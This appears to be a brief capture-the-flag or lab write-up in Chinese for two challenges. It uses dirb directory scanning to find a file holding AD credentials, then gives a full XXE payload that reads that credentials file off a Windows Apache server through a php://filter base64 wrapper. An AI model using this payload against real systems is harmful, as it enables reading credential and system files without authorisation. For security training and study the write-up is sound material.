# D2,D3 write-up ## D2 dirb > 以dirb去掃網頁資料夾裡的檔案,找出gotit.txt > 裡面有AD帳密 ## D3 xxe > php以xml語法寫成,用xxe手法得到AD帳密 ```xml= <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [<!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/AMP/Apache24/htdocs/testing/gotit.txt">]> <base64> <encode>false</encode> <data>&goodies;</data> </base64>
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up